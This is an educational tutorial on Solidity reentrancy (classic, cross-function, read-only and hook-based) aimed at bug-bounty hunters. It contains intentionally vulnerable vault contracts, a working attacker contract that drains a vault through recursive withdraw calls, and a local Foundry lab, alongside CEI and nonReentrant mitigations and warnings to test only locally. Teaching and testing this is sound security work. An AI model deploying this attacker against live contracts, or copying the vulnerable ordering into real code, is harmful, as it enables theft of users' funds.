Solidity Reentrancy Explained (Classic, Cross-Function, Read-Only)

Solidity Reentrancy Explained (Classic, Cross-Function, Read-Only)

Solidity reentrancy explained for hunters means more than the 2016 DAO story: you need classic single-function drains, cross-function inconsistencies, and read-only views that lie mid-callback. This Andrax tutorial — by Syed Zada Abrar — covers ~55% theory, ~45% practical.

Prerequisites: Foundry + Slither Setup for Smart Contract Security (2026). Also useful: Solidity Essentials; How to Read Verified and Unverified Smart Contracts; Hub; How to Start Web3 Bug Hunting in 2026.

Ethics fence: every vulnerable contract and attacker contract below is ILLUSTRATIVE / local lab only. Run PoCs with Foundry on your machine or Remix VM. Never deploy these patterns against live protocols or broadcast exploit transactions on mainnet/public testnets. Cite OWASP SC08:2026 Reentrancy Attacks. Follow Immunefi rules — no mainnet testing of in-scope code.

What reentrancy is (OWASP framing)

OWASP SC08 describes reentrancy as any situation where a contract performs an external call and the callee can call back before the first invocation finishes and state is fully updated. Stale state can then be abused — repeated withdrawals, double-counted rewards, or inconsistent accounting across modules (SC08).

Focus areas called out by SC08 (teach these names):

• Classic withdraw-before-update
• Callback / hook interfaces (ERC-777 historically, ERC-721/1155 receivers, ERC-4626, flash-loan callbacks)
• Cross-function reentrancy
• Read-only reentrancy
• Cross-contract / multi-module reentrancy

Checks → Effects → Interactions (CEI)

Checks: require / custom errors (auth, balances, deadlines). Effects: update your storage so invariants hold. Interactions: external calls (call, token transfers, hooks) last.

Broken CEI is the root pattern behind classic reentrancy. A mutex (nonReentrant) is a strong second line — not a substitute for clear ordering. OpenZeppelin documents ReentrancyGuard for the mutex pattern.

Type 1 — Classic (single-function) reentrancy

Same function re-enters itself before effects complete.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// ILLUSTRATIVE / LOCAL LAB ONLY — do not deploy publicly
contract ClassicVulnerableVault {
 mapping(address => uint256) public balances;

 function deposit() external payable {
 balances[msg.sender] += msg.value;
 }

 function withdraw() external {
 uint256 bal = balances[msg.sender];
 require(bal > 0, "no balance");
 (bool ok, ) = msg.sender.call{value: bal}(""); // interaction first
 require(ok, "send failed");
 balances[msg.sender] = 0; // effect too late
 }
}

Attacker sketch (still local-only):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVault {
 function deposit() external payable;
 function withdraw() external;
}

/// ILLUSTRATIVE attacker — Foundry/Anvil/Remix VM only
contract ClassicAttacker {
 IVault public vault;
 uint256 public constant ATTACK_VALUE = 1 ether;

 constructor(address v) {
 vault = IVault(v);
 }

 function attack() external payable {
 require(msg.value == ATTACK_VALUE, "send 1 ETH");
 vault.deposit{value: msg.value}();
 vault.withdraw();
 }

 receive() external payable {
 if (address(vault).balance >= ATTACK_VALUE) {
 vault.withdraw();
 }
 }
}

Hunter note: prove impact with a Foundry test that shows the attacker’s ETH gained and the vault drained — on local deployment. Severity on a real program still follows that program’s IVS (funds at risk, not “Slither said High”).

Type 2 — Cross-function reentrancy

The callback enters a different function that still trusts stale state.

Example smell: withdraw calls out before clearing balance, while transferInternalCredits still reads balances[msg.sender] and moves accounting rights to a colluding address. Neither function alone looks recursive; together they break the invariant “credits ≤ deposits.”

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// ILLUSTRATIVE — cross-function CEI failure (local lab only)
contract CrossFunctionVault {
 mapping(address => uint256) public balances;
 mapping(address => uint256) public credits; // separate accounting surface

 function deposit() external payable {
 balances[msg.sender] += msg.value;
 }

 function withdraw() external {
 uint256 bal = balances[msg.sender];
 require(bal > 0, "no balance");
 (bool ok, ) = msg.sender.call{value: bal}("");
 require(ok, "send failed");
 balances[msg.sender] = 0;
 }

 /// Naive: trusts balances[] during another function's reentrancy window
 function snapshotCredits() external {
 credits[msg.sender] = balances[msg.sender];
 }
}

During withdraw’s external call, an attacker can snapshotCredits() while balances is still full, then later redeem credits through another buggy path. Real protocols hide this across modules (vault → strategy → router). Your job: map every function that reads the same storage the withdrawing function is about to change.

Type 3 — Read-only reentrancy

No ETH needs to be stolen in the first callback. A view function (or an external protocol reading your state) returns transiently wrong values while storage is mid-update. Another contract may act on that lie — pricing, collateral checks, share valuations.

Canonical teaching shape:

1. Protocol A updates liquidity accounting after an external call
2. During the call, Protocol B reads A’s getVirtualPrice() / reserve views
3. B mints, liquidates, or swaps based on stale math

Read-only reentrancy often needs a second protocol in the blast radius. Hunters should still flag unprotected view reliance when CEI is broken — then prove a local multi-contract PoC before claiming Critical.

OWASP SC08 explicitly lists read-only reentrancy among focus areas (SC08).

Hooks and “I thought transfers were safe”

External calls are not only address.call. Token hooks can re-enter you:

• ERC-721 / ERC-1155 safe transfer receiver hooks

• ERC-777 tokens (historical, still appears in codebases)

• ERC-4626 deposit/withdraw paths composing with other vaults

• Flash-loan executeOperation-style callbacks

Habit: for every transfer out, ask “can the recipient run code before my function finishes?”

Mitigations hunters expect to see

OpenZeppelin’s ReentrancyGuard / nonReentrant is widely used (docs). Prefer CEI and a guard on value-moving entry points in lab code you write.

Safer sketch (ILLUSTRATIVE — still not production-complete): zero the balance before the external call, and wrap withdraw in nonReentrant.

Lab — Foundry PoC against a local vulnerable vault

Goal: drain ClassicVulnerableVault with ClassicAttacker using forge test only (Foundry + Slither Setup fragile-vault layout or a fresh forge init). Place vault + attacker under src/, then write test/ClassicReentrancy.t.sol that seeds the vault with a victim deposit and asserts the attacker’s balance increased while the vault drained — local lab only, never a mainnet exploit.

forge test --match-test test_classicReentrancyDrainsVault -vvvv

You should see nested withdraw calls in the trace. That runnable local PoC is what bounty programs expect — not a screenshot of Slither.

Hunter checklist (reentrancy pass)

• Label the window: classic / cross-function / read-only / hook
• Confirm CEI on every value-moving path that calls out
• Map every other function that reads the same storage mid-window
• Ask whether a view can lie to a second protocol during the call
• Prefer CEI + nonReentrant on lab code; prove impact with Foundry locally
• Never “validate” a blog PoC against a live protocol

Common reporting mistakes

Next steps

• Prev: Foundry + Slither Setup for Smart Contract Security (2026) · How to Read Verified and Unverified Smart Contracts
• Hub: Web3 Bug Hunting Learning Path 2026
• Next (live): Smart Contract Access Control Bugs Hunters Actually Find

Educational content by Syed Zada Abrar for Andrax (dandraxpentester.in`). Authorized research only. All vulnerable contracts ILLUSTRATIVE / local lab only.